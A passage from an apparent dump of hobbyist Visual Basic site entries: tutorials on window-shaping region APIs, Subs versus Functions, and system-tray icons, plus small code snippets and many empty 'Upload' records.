Column + 1\n Else\n Row = Row + 1\n End If\n If Row < 0 Then Row = N - 1\n If Column > N - 1 Then Column = 0\n Number = Number + 1\n Magic(Row, Column) = Number\n Next I\n'Loops to put the values into grid\nFor Row = 0 To N - 1\n For Column = 0 To N - 1\n Grid.Row = Row\n Grid.Col = Column\n Grid.Text = Format(Magic(Row, Column), \"#####\")\n Next Column\nNext Row\nEnd Sub\n"},{"WorldId":1,"id":22627,"LineNumber":1,"line":" \n \n \n\n \n On the 8th day, he \ncreated win32 api, and saw it was good. ~Holy Bible, book of Cakkie, \nchapter 1, vers 8 \n\nSo we all know that we have API's, know we just need to know how to use \nthem.\nI'm going to explain the region API's wich can give us the power to reshape \nevery window, or everything that has a window handle (like a picturebox).\n- In the beginning there was nothing, as far as the eye can see, nothing, \nnada, njet, rien, niets, nothing. - Sir, really nothing? ~Urbanus\nLets start with the begin. When we want to create regions, we have a variety \nof API's to use. The most important are CreateRectRgn: creates \na rectangular region CreateRoundRectRgn: creates a rounded \nrectangular region CreateEllipticRgn: creates a elliptical \nregion CreatePolygonRgn: create a region from an array of \npoints\nThe first 3 (Rect, RoundRect and Elliptic) all take the same parameters. \nThe first 2 are the X and Y coordinates specifying the upper-left corner of the \nregion, the next 2 are the X and Y coordinates specifying the lower-right \ncorner or the region.\nThe CreatePolygonRgn takes following parameters The first is the \npointer to an array of the type POINTAPI The second is the number of points \nin that array The last is the fillmode, which can be obtained by the \nGetFillMode API\nOnce we created a region, we can use that to shape our form (or picturebox or \nwhatever, I'm only using forms here for breverity's sake) This is done by the \nSetWindowRgn API, which takes the form's hWnd, the region and a boolean \nspecifying the form needs to be repainted. Once that is done, the form \nhas the shape defined by the region.\n- Is this the end? - No, it is just the beginning ~Arnold \nSwarzenegger\nNow we can have a form of almost any shape, but it doesn't end here. We can \nalso combine regions, what gives us the possibility to create even complexer \nregions. This is done with the CombineRgn API. This function takes 4 parameters, \nthe first is the region wich will receive the result of the combine operation. \nThe second is the first region that needs to be combined, the third is the \nsecond region to combine. The last parameter is the method we want to use to \ncombine. That can be one of the following: RGN_AND = 1 : \ngives the region which is both in the first and the second \nregion RGN_COPY = 5 : copies the first \nregion RGN_DIFF = 4 : gives the regions which are in region1 \nbut not in region2 RGN_OR = 2 : gives the regions which are \nin region1 or in region2 RGN_XOR = 3 ; gives the regions \nwhich are in region1 or in region2, but not in both\nYou must keep in mind that the receiving region already exists (by using the \nCreateRectRgn for example).\nYou can also combine regions by using the CreatePolyPolygonRgn \nfunction, which creates a region existing out several Polygon regions. \nThis way you can combine several Polygonregions in one call. However, I like \nusing the CombineRgn because it's simplicity.\nThis isn't Mission Difficult, this is Mission Impossible, Mission \nDifficult should be a walk in the park for you ~Gene Hackman\nWith this tutorial are 3 examples. \nThe region example shows the general use of the api's \ndescribed above. Just click one of the buttons and look what happens to \nthe form.\nThe 8ball example is a simple 'Magic 8 Ball' program, wich \nreally looks like an 8 ball. It also shows how to move a form when the titlebar \nisn't visible. In order to get it working, you must shake the ball (that is move \nthe form around for a couple of seconds)\nThe Bill example is my favorite. It creates a region from a \nbitmap. It gives a background color (in this case green) which will be left out \nof the region. This way, you can get a form that is so odd-shaped it would take \nhours to code it yourself. This also supports moving the form (which has no \nborder) and makes the form topmost. You will find out why I called it Bill the \nsecond you run it.\nWhat has become of this world? ~Beatrix (Final Fantasy IX)\n "},{"WorldId":1,"id":22628,"LineNumber":1,"line":"'Written by littlegreenrussian\nSub optDecimalButton_click() 'decimal checkbox clicked\n\ttxtNumber.Text = Format(CurrentNum) 'change the format of the txtHumber textbox\nEnd Sub\n\nSub optHexButton_click() 'hexadecimal checkbox clicked\n\ttxtNumber.Text = Format(CurrentNum) 'change the format of the txtHumber textbox\nEnd Sub\n\nSub optOctalButton_click() 'octalcheckbox clicked\n\ttxtNumber.Text = Format(CurrentNum) 'change the format of the txtHumber textbox\nEnd Sub\n\nSubtxtNumber_Change()\n'Val function - numbers beginning with &O as octal,\n'numbers beginning with &H as hexadecimal\nIf optOctalButton.Value = True Then 'octal button checked\n\tCurrentNum = Val(\"&O\" & LTrim(txtNumber.Text)& \"&\") 'change the number to octal\nElse if optDecimal.Value = True Then 'decimal checked\n\tCurrentNum = Val(LTrim(txtNumber.Text)& \"&\") 'change number to deciaml - note it does NOT require a &D\nElse 'otherwise\n\tCurrentNum = Val(\"&H\" & LTrim(txtNumber.Text)& \"&\") 'change it to hexadecimal\n\tEnd If\nEnd Sub"},{"WorldId":1,"id":22631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22661,"LineNumber":1,"line":"<html xmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:w=\"urn:schemas-microsoft-com:office:word\"\nxmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Word.Document>\n<meta name=Generator content=\"Microsoft Word 9\">\n<meta name=Originator content=\"Microsoft Word 9\">\n<link rel=File-List\nhref=\"./Sometimes%20we%20miss%20the%20obvious_files/filelist.xml\">\n<title>Sometimes we miss the obvious</title>\n<style>\n\n</style>\n</head>\n<body lang=EN-US style='tab-interval:.5in'>\n<div class=Section1>\nUsing Subs and Functions in VB\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSometimes we miss the obvious. I know there are a lot of\nthings I was doing in Visual Basic that I thought were not only right, but\nextremely clever. What I eventually discovered was that the reason I was having\nto dream up such clever “work abounds” was that I was basing my code on\nincorrect assumptions about how VB works. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOne area that I had trouble with, as have several people I\nhave taught coding to is parameters and return values. This article is in the\nBeginner category, but┬á I didn’t learn\nsome of this stuff until long after I was working as a VB programmer and\nconsidered myself a “professional”. If there is one thing I have learned about\nprogramming, it is that you NEVER know everything, and there is always another\nway to do something. My goal is to show programmers the correct way to use\nthese features before they go off and invent ways that will cause problems\nlater. Nothing is worse than realizing that you have been doing something the\nwrong way for the last three years.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIs this tutorial for you? Let’s find out. Consider the\nfollowing questions:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>Can you explain the difference between a Sub and a\nFunction in one sentence?\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>Can you explain the difference between a PUBLIC Sub and\na PRIVATE sub?\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>Do you know how to get a return value from a procedure without\nusing global variables?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf you answered “Yes” to all of\nthe questions above, you probably don’t need this tutorial. But before you\nclose it out, you should be sure you really understand how to do these\nthings. Why? Because these skills are fundamental to good coding. You simply\ncannot write good complex code without them. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf the questions above left you\nscratching your head in confusion, hang in there. You are not alone. If you read\nthis entire tutorial, I promise they will be answered in a way that you can\nunderstand them (or your money back!)\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSubs and Functions- What is the difference?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo understand what a sub or\nfunction is and why we need them, we should go back a few years. For the\nmoment, we will concentrate on Subs, since they are easier to understand. I\nwill then show you how Functions extend the capability of Subs.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf there are any old line\nprogrammers out there, you may remember what we now call “spaghetti code”. Of course,\nwhen we were writing it, we didn’t call it that. We called it sheer genius. The\nterm “spaghetti code” refers to the logic path of an application written in a\nlanguage such as BASIC or BASICA. In these languages, each line had a line\nnumber, and you controlled program flow by referring to the associated line\nnumber of the command you wanted to execute. (Boy, I am suddenly feeling old\nhere!)\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFor example:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n10 CLS┬á ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á‘Clears the screen…we are talking DOS here.\n20 LN$=INPUT$ “What is your last\nname?:”\n30 FN$=INPUT$ “What is your first\nname?\n40 IF LN$=”” Then <b\nstyle='mso-bidi-font-weight:normal'>GOTO 20<o:p></o:p>\n50 IF FN$=”” THEN <b\nstyle='mso-bidi-font-weight:normal'>GOTO 30\n60 PRINT “You entered “ + LN$ + “\n“ + FN$\n70 END\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is a complete (albeit simple)\nprogram for BASIC. It prompts for a last name and a first name, then forces you\nto re-enter it if you didn’t enter a value for one or the other.<span\nstyle=\"mso-spacerun: yes\">┬á The part I would like you to notice is the\nGOTO statement. You may have seen this command used in VB in error handling,\nand if you have been around any VB programmers very long, you have heard them\nharp on how evil the GOTO command is. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn BASIC, GOTO redirected program\nflow to a specific line number. Otherwise, programs started at line 0 (or 10 in\nmost cases) and executed sequentially until they met an END statement, which\nterminated the program. The problem with this concept was that once you got\nabout 2000 lines of code, it became difficult to track where the program would\njump to in any situation. For example, the statement GOTO 20150 meant that to\ntrack execution, you had to scroll all the way down to line 20150. Of course,\nit may contain an IF THEN statement that sent it back to line number 1220. It\nisn’t hard to imagine why this type of code earned its nickname. Eventually it\nreached “critical mass” and became unmanageable.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMost BASIC programmers eventually\ndiscovered the GOSUB statement. This was a pretty big leap in program control.\nLike GOTO, it redirected program execution to a line number somewhere in the\nthousands of lines of code, but unlike GOTO, GOSUB knew where it was redirected\nfrom and could return to that point in the program when it completed its\ntask. It told BASIC “GOTO A BLOCK OF SUB-CODE”. Here is how it was used:<br\nstyle='mso-special-character:line-break'>\n<![if !supportLineBreakNewLine]> \n<![endif]>\n10 CLS\n20 X$=INPUT$ “Choose a Menu Item”\n30 IF X$=”A” THEN <b\nstyle='mso-bidi-font-weight:normal'>GOSUB 2000<o:p></o:p>\n40 IF X$=”B” THEN <b\nstyle='mso-bidi-font-weight:normal'>GOSUB 3000<o:p></o:p>\n50 IF X$=”C” THEN END\n60 ’ ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á┬áEND OF MENU CODE\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n…<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n2000 CLS\n2010 …..DO STUFF….\n…\n2520 RETURN<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n3000 CLS\n3010 …..DO STUFF….\n…\n3520 RETURN<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this example, we not only use\nthe GOSUB keyword, but we also use\nthe RETURN keyword. What this told\nBASIC was “Go back to the last GOSUB statement that you executed. “ To\nprogrammers, this was pure gold. It allowed recursion (calling a piece of code\nwithin the same piece of code) and much better program flow control. In\nessence, this is the origin of the Visual Basic “Sub” procedure. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOK…enough nostalgia for now. Back\nto VB. What this history lesson has shown you is that things could be much\nworse. But with Visual Basic, some obvious improvements have been made. Line\nnumbers have been dropped (a tough concept for us old timers…QuickBasic helped\nease us into this concept). This allowed the programmer to name blocks of code\nwith a name instead of a number. Now instead of GOSUB 2000, we can say “Call\nGetCustomerID” to call a piece of code that will find a customer ID for us.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHere is how the VB Sub works:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFirst, you need to know what your\nsub will be doing. There are some basic criteria to determine whether or not\nyou need to place code into a sub. They are:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportLists]>1. \n<![endif]>Is this code used in more than one place (are you writing\nduplicate code in your application)?\n<![if !supportLists]>2. \n<![endif]>Does this code perform a specialized function independent of\nthe rest of the code?\n<![if !supportLists]>3. \n<![endif]>Can you effectively create this as a “stand-alone” piece of\ncode?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOf the three criteria above,\nnumber three is the toughest. For example, if you have a piece of code to find\nstate that a customer is located in based on their zip code, do you write that\nsame piece of code for every customer? Obviously, that would be impractical if\nnot impossible. What you need is a way to find the state any zip code.\nHere is the way most beginners handle this problem:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFirst, create public variables to\nhold the values we will be working with:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic\nZIP As String<o:p></o:p>\nPublic\nState As String<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic\nSub GetState()<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á If ZIP > 32501 AND ZIP<span\nstyle=\"mso-spacerun: yes\">┬á <34205 Then<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á ┬áState = “MS”<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á ElseIf ZIP >45102 AND ZIP < 53210\nThen<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á State = “TN”<o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á ……<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis code works. Using this\nmethod, you can get the state of any of the zip codes contained in the GetState\nsub. But there are problems with this code as well. The main one is that you\nare now relying on public variables. This is because you have to be able to\naccess the values in from your form or calling code and within your sub. This can get real messy real quick when you\nconsider that you may need to use the name “state” for a variable many times in\nan application. You are then forced to create MANY public variables with odd\nnames like GetStateFromZip_State and GetStateFromZip_Zip to insure that you\ndon’t accidentally overwrite your values from other places in your program.\nThis is just a really bad way to code. The solution? Parameters (finally!).\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn order to get your values safely\nto your Sub without having to create public variables, you can instead create\nSub Parameters. These are really just variables that only your calling code and\nyour sub can see.┬á They look like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub GetState(ZIP As String)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á\nIf ZIP > 32501 AND ZIP┬á\n<34205 Then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á State = “MS”<o:p></o:p>\n┬á┬á┬á┬á┬á\nElseIf ZIP >45102 AND ZIP < 53210 Then<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á State = “TN”<o:p></o:p>\n┬á┬á┬á┬á┬á\n……<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á End If<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow this code does the exact same thing, but without\nhaving to rely on the public variable ZIP. You can also pass multiple\nparameters:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub AverageNumbers(Number1 As\nInteger, Number2 As Integer, Number3 As Integer)<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á …<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAll three of these values will be\navailable from within your sub, but will not exist outside of it. Getting\npretty neat, isn’t it?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBut we still have a problem. We passed the variable\nIN , but how do we get a value back OUT of a sub? I mean, it’s nice that we\naveraged these numbers, but we still have to use a public variable to get the\nreturn value, right? Wrong. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere are three ways to get return\nvalues from a piece of code:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportLists]>1. \n<![endif]>Public Variables (ugly!)\n<![if !supportLists]>2. \n<![endif]>By making a “return value” parameter.\n<![if !supportLists]>3. \n<![endif]>By making your sub into a function.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWe have already established that public variables\nare not the answer we are seeking, so lets examine option #2. This is more of a\n“hack” than a feature of VB. It takes advantage of the fact that both the\ncalling code and the sub code have access to parameter values. You could do\nthis to get a return value:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub AverageNumbers(Number1 As\nInteger, Number2 As Integer, Number3 As Integer, ReturnValue As Integer)<o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á <o:p></o:p>\n┬á┬á┬á┬á\nReturnValue = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬áAgain, this would\nwork. But it creates problems on the calling side now. In order to use it, you\nhave to use code similar to this: \n<![if !supportLineBreakNewLine]> \n<![endif]>\n┬á┬á┬á┬á┬á Call\nAverageNumbers(10, 20, 50,0)<o:p></o:p>\n┬á┬á┬á┬á┬á Msgbox “Average =\n“┬á & ReturnValue<span\nstyle='color:navy'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIt is technically returning a value, but it looks (and is) rather\nclunky. You have to pass in a “0” for the return value or you will get an\nerror.┬á Then, to make matters worse, you\nhave to then refer to that variable when the sub completes. What would be nice\nis if you could use it just like a VB command.┬á\nConsider the Ucase() command in Visual Basic. It is\nstraightforward:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á┬á MsgBox Ucase(“this is\na test”)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á Results is a\nmessage box being displayed with the words “THIS IS A TEST” in it.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo how does Microsoft do that? How do they get a return\nvalue from the Ucase command? Surely it is some secret code that you don’t have\nthe power to duplicate. Wrong! The\nway they do it is by making the command Ucase() into a Function instead of a Sub. What is the difference? Simple:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nA function can return\na value through its name variable. ┬áA sub cannot. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat does that mean “through its name variable”?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLet’s look at a function declaration:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Function AverageNumbers(Number1 As Integer, Number2 As\nInteger, Number3 As Integer) <span\nstyle='font-size:8.0pt;mso-bidi-font-size:12.0pt;color:navy'>As Integer<span\nstyle='font-size:8.0pt;mso-bidi-font-size:12.0pt;color:navy'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou should notice two things different about this\ndeclaration compared to the sub declaration:\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>It has no return parameter.\n<![if !supportLists]>┬╖<span\nstyle='font:7.0pt \"Times New Roman\"'> \n<![endif]>It has “As Integer” stuck on the end. What is <b\nstyle='mso-bidi-font-weight:normal'>that all about?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo how in the world does the value of Ucase() (or\nAverageNumbers for that matter), find its way back to the calling code “MsgBox<span\nstyle=\"mso-spacerun: yes\">┬á = “?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWell, that is the difference between Subs and\nFunctions. Functions act as a return value variable. That is why it was declared “<b\nstyle='mso-bidi-font-weight:normal'>As Integer”. You can now call the\nAverageNumber function exactly as you would the Ucase() function:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle='color:navy'>MsgBox “Average =” & AverageNumbers(10,20,50)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬áHere is the complete\nfunction:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Function AverageNumbers(Number1 As Integer, Number2 As\nInteger, Number3 As Integer) As Integer<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á\nAverageNumbers = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNotice that the line:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á┬á\nReturnValue = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nhas now been\nmodified to read:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á\nAverageNumbers = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is where the “magic” happens. VB performs the\ncalculations, and when it gets the results, it pipes it back into the\nAverageNumbers variable which was created when this function was\ndeclared. From there, it can be assigned back to a variable in the calling\ncode. So to see the whole picture:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á \nPrivate Sub Command1_Click()<o:p></o:p>\n┬á┬á┬á┬á┬á MsgBox “Average =” &\nAverageNumbers(10,20,50)<o:p></o:p>\nEnd Sub<o:p></o:p>\n┬á\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Function AverageNumbers(Number1 As Integer, Number2 As\nInteger, Number3 As Integer) As Integer<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á\nAverageNumbers = (Number1 + Number2 + Number3) /3<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnd Function<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo now you can start to see how return values work with\nfunctions. Once you fully grasp this concept, you will begin to realize that VB\ncommands are nothing but functions written by the Microsoft VB team.\nConceptually, yours are no different. You can actually create your own commands to us in your application, just by\ncreating them as functions!\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is big!\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere is one more concept I want to touch on before wrapping\nup:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬áThe difference between Public and Private Subs and Functions<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo fully understand the implications of making a function or\nsub public or private, you will need to study up on the topic of SCOPE in VB.\nThis basically is the level at which something is “visible” to the rest of the\napplication. As you have seen through earlier examples, Public variables are\nnot a good thing. Public Functions, on the other hand, are a VERY good thing.\nThis makes them accessible from anywhere in your application…so if you want to\naverage a number from three different forms, you can still call the same\nAverageNumbers function. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWith Private subs and functions, you will only be able to\ncall them from within the object that they are declared in. Why would\nyou want to do this? Well, you may have noticed that VB creates all Form Subs\nas Private. This is because if you created them as Public, you would have many\nForm_Load() subs, many┬á Command1_Click\n() subs, etc. This would make your application crash instantly, so by using\nprivate scope, you effectively “hide” these subs from other forms.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nONE NOTE: You cannot declare a Public variable, sub, or\nfunction from within a form. YOU MUST\nDECLARE ALL PUBLIC ITEMS FROM WITHIN A MODULE. You can add a module to your\nproject by going to the Project menu and clicking “Add Module”.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI sincerely hope this tutorial has helped you in grasping\nhow and why to use subs and functions. This is such a vital topic to good\nprogramming and so little is published about it. Please let me know if you need\nmore information on any of the topics covered in this tutorial.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nM@\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":22662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22677,"LineNumber":1,"line":"Hi, my first article submission.\nFirst, we have to declare the API's and the constants we will be using. \n'constants required by Shell_NotifyIcon API call: \nPrivate Const NIM_ADD = &H0 \nPrivate Const NIM_MODIFY = &H1 \nPrivate Const NIM_DELETE = &H2 \nPrivate Const NIF_MESSAGE = &H1 \nPrivate Const NIF_ICON = &H2 \nPrivate Const NIF_TIP = &H4 \nPrivate Const WM_MOUSEMOVE = &H200 \n'all these are for the mousemouve event \nPrivate Const WM_LBUTTONDOWN = &H201 'Button down \nPrivate Const WM_LBUTTONUP = &H202 'Button up \nPrivate Const WM_LBUTTONDBLCLK = &H203 'Double-click \nPrivate Const WM_RBUTTONDOWN = &H204 'Button down \nPrivate Const WM_RBUTTONUP = &H205 'Button up \nPrivate Const WM_RBUTTONDBLCLK = &H206 'Double-click \nPrivate Declare Function SetForegroundWindow Lib \"user32\" _ \n(ByVal hwnd As Long) As Long \nPrivate Declare Function Shell_NotifyIcon Lib \"shell32\" Alias \"Shell_NotifyIconA\" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean \n'and 1 type that we need \nPrivate nid As NOTIFYICONDATA \n'user defined type required by Shell_NotifyIcon API call \nPrivate Type NOTIFYICONDATA \n\tcbSize As Long \n\thwnd As Long \n\tuId As Long \n\tuFlags As Long \n\tuCallBackMessage As Long \n\thIcon As Long \n\tszTip As String * 64 \nEnd Type \nBasically, I will just be explaining the use of Shell_NotifyIcon from here. The calls to SetForegroundWindow are pretty simple. Heres the code that goes into the form load code so that it will put itself into the system tray, I would suggest making the Form1.ShowInTaskBar = false.\nPrivate Sub Form_Load() \n\tMe.Show \n\tMe.Refresh \n\tWith nid \n\t\t.cbSize = Len(nid) \n\t\t.hwnd = Me.hwnd \n\t\t.uId = vbNull \n\t\t.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE \n\t\t''''''The callback should be the mousemove event \n\t\t.uCallBackMessage = WM_MOUSEMOVE \n\t\t.hIcon = Me.Icon \n\t\t''''''Heres the tooltip in the taskbar''''' \n\t\t.szTip = \"Your app name\" & vbNullChar \n\tEnd With \n\tShell_NotifyIcon NIM_ADD, nid \nEnd Sub \nand now remove the icon when we unload \nPrivate Sub Form_Unload(Cancel As Integer) \n\t'remove the icon \n\tShell_NotifyIcon NIM_DELETE, nid \nEnd Sub \n'hide the form when the menuitem is clicked \nPrivate Sub mnuHide_Click() \n\tMe.Hide \nEnd Sub \n'show the form when the menuitem is clicked \nPrivate Sub mnuShow_Click() \n\tMe.Show \nEnd Sub \n'unload the form when we click the quit menuitem \nPrivate Sub mnuQuit_Click() \n\tUnload Me \nEnd Sub \nThanks for a lot of great responses on my Streaming Screenshots project, but I need more globes :-) Brandon"},{"WorldId":1,"id":22683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22691,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22717,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<title>Daily Newbie - 04/25/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n \n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\nThird \nEdition \n \nApril 26,\n2001 \n \nFree\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n \n \nAbout this\nfeature:\nToday's Newbie code is the result of a request from a reader of 